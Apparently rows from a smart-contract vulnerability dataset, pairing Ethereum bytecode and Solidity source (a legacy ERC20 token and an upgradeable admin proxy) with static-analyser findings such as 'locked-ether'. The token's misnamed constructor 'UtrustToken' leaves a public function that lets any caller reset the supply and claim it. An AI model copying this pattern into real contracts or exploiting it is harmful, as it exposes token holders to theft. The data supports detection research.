6101000a900460ff161515156107f457600080fd5b6107fe8383610f7a565b905092915050565b6000600154905090565b6000600360149054906101000a900460ff1615151561082e57600080fd5b61083984848461106c565b90509392505050565b600760009054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108b157600080fd5b600360149054906101000a900460ff1615156108cc57600080fd5b6000600360146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561097457600080fd5b600360159054906101000a900460ff1615151561099057600080fd5b6109a58360045461142690919063ffffffff16565b905060015481111515156109b857600080fd5b6109cd8360045461142690919063ffffffff16565b600481905550610a24836000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461142690919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885846040518082815260200191505060405180910390a28373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b600360149054906101000a900460ff1681565b6000600360149054906101000a900460ff16151515610b5657600080fd5b610b608383611442565b905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c0c57600080fd5b600360149054906101000a900460ff16151515610c2857600080fd5b6001600360146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d2d5780601f10610d0257610100808354040283529160200191610d2d565b820191906000526020600020905b815481529060010190602001808311610d1057829003601f168201915b505050505081565b6000600360149054906101000a900460ff16151515610d5357600080fd5b610d5d83836116d3565b905092915050565b60045481565b6000600360149054906101000a900460ff16151515610d8957600080fd5b610d9383836118f2565b905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e7e57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610eba57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110a957600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156110f657600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561118157600080fd5b6111d2826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aee90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611265826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461142690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061133682600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aee90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000818301905082811015151561143957fe5b80905092915050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611553576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506115e7565b6115668382611aee90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561171057600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561175d57600080fd5b6117ae826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611aee90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611841826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461142690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061198382600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461142690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000828211151515611afc57fe5b8183039050929150505600a165627a7a723058209945e281ee5712ec4afb31ff4e6b03cd65d7ffb1a67d9f7e5a9c72240050191a0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}} | 152 |
0x9fb8fa8dd383f12115d941e2a96c8472c9f567f4 | pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract BurnableToken is StandardToken, Ownable {
using SafeMath for uint256;
/* This notifies clients about the amount burnt */
event Burn(address indexed from, uint256 value);
function burn(uint256 _value) public onlyOwner returns (bool success) {
// Check if the sender has enough
require(balances[msg.sender] >= _value);
// Subtract from the sender
balances[msg.sender] = balances[msg.sender].sub(_value);
// Updates totalSupply
totalSupply = totalSupply.sub(_value);
Burn(msg.sender, _value);
return true;
}
}
contract TESS is BurnableToken {
using SafeMath for uint256;
string public constant name = "TESS";
string public constant symbol = "HHHH";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 10000000000000000000000000000;
function UtrustToken() public {
totalSupply = INITIAL_SUPPLY.mul(10 ** uint256(decimals));
balances[msg.sender] = INITIAL_SUPPLY.mul(10 ** uint256(decimals));
Transfer(0x0, msg.sender, totalSupply);
}
} | 0x6060604052600436106100e55763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100ea578063095ea7b31461017457806318160ddd146101aa57806323b872dd146101cf5780632ff2e9dc146101f7578063313ce5671461020a57806342966c68146102335780634ec0744d14610249578063661884631461025e57806370a08231146102805780638da5cb5b1461029f57806395d89b41146102ce578063a9059cbb146102e1578063d73dd62314610303578063dd62ed3e14610325578063f2fde38b1461034a575b600080fd5b34156100f557600080fd5b6100fd610369565b60405160208082528190810183818151815260200191508051906020019080838360005b83811015610139578082015183820152602001610121565b50505050905090810190601f1680156101665780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561017f57600080fd5b610196600160a060020a03600435166024356103a0565b604051901515815260200160405180910390f35b34156101b557600080fd5b6101bd61040c565b60405190815260200160405180910390f35b34156101da57600080fd5b610196600160a060020a0360043581169060243516604435610412565b341561020257600080fd5b6101bd610594565b341561021557600080fd5b61021d6105a4565b60405160ff909116815260200160405180910390f35b341561023e57600080fd5b6101966004356105a9565b341561025457600080fd5b61025c61068b565b005b341561026957600080fd5b610196600160a060020a036004351660243561072c565b341561028b57600080fd5b6101bd600160a060020a0360043516610828565b34156102aa57600080fd5b6102b2610843565b604051600160a060020a03909116815260200160405180910390f35b34156102d957600080fd5b6100fd610852565b34156102ec57600080fd5b610196600160a060020a0360043516602435610889565b341561030e57600080fd5b610196600160a060020a0360043516602435610984565b341561033057600080fd5b6101bd600160a060020a0360043581169060243516610a28565b341561035557600080fd5b61025c600160a060020a0360043516610a53565b60408051908101604052600481527f5445535300000000000000000000000000000000000000000000000000000000602082015281565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60005481565b6000600160a060020a038316151561042957600080fd5b600160a060020a03841660009081526001602052604090205482111561044e57600080fd5b600160a060020a038085166000908152600260209081526040808320339094168352929052205482111561048157600080fd5b600160a060020a0384166000908152600160205260409020546104aa908363ffffffff610aee16565b600160a060020a0380861660009081526001602052604080822093909355908516815220546104df908363ffffffff610b0016565b600160a060020a03808516600090815260016020908152604080832094909455878316825260028152838220339093168252919091522054610527908363ffffffff610aee16565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b6b204fce5e3e2502611000000081565b601281565b60035460009033600160a060020a039081169116146105c757600080fd5b600160a060020a033316600090815260016020526040902054829010156105ed57600080fd5b600160a060020a033316600090815260016020526040902054610616908363ffffffff610aee16565b600160a060020a03331660009081526001602052604081209190915554610643908363ffffffff610aee16565b600055600160a060020a0333167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a2506001919050565b6106af6b204fce5e3e25026110000000670de0b6b3a764000063ffffffff610b1616565b6000556106d66b204fce5e3e25026110000000670de0b6b3a764000063ffffffff610b1616565b600160a060020a033316600081815260016020526040808220939093558054919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef915190815260200160405180910390a3565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120548083111561078957600160a060020a0333811660009081526002602090815260408083209388168352929052908120556107c0565b610799818463ffffffff610aee16565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a3600191505b5092915050565b600160a060020a031660009081526001602052604090205490565b600354600160a060020a031681565b60408051908101604052600481527f4848484800000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a03831615156108a057600080fd5b600160a060020a0333166000908152600160205260409020548211156108c557600080fd5b600160a060020a0333166000908152600160205260409020546108ee908363ffffffff610aee16565b600160a060020a033381166000908152600160205260408082209390935590851681522054610923908363ffffffff610b0016565b600160a060020a0380851660008181526001602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a350600192915050565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120546109bc908363ffffffff610b0016565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a03908116911614610a6e57600080fd5b600160a060020a0381161515610a8357600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610afa57fe5b50900390565b600082820183811015610b0f57fe5b9392505050565b600080831515610b295760009150610821565b50828202828482811515610b3957fe5b0414610b0f57fe00a165627a7a723058204c705adea0919f8bf415ad4012ed18ee5f18da3c3de37ef0f5c16942a78f1ba70029 | {"success": true, "error": null, "results": {}} | 153 |
0xca8d787f741e6dc35dd2e4b7f8002c638464fc7f | /**
*Submitted for verification at Etherscan.io on 2021-04-10
*/
/**
*Submitted for verification at BscScan.com on 2021-03-08
*/
/**
*Submitted for verification at Etherscan.io on 2020-10-09
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
} | 0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8e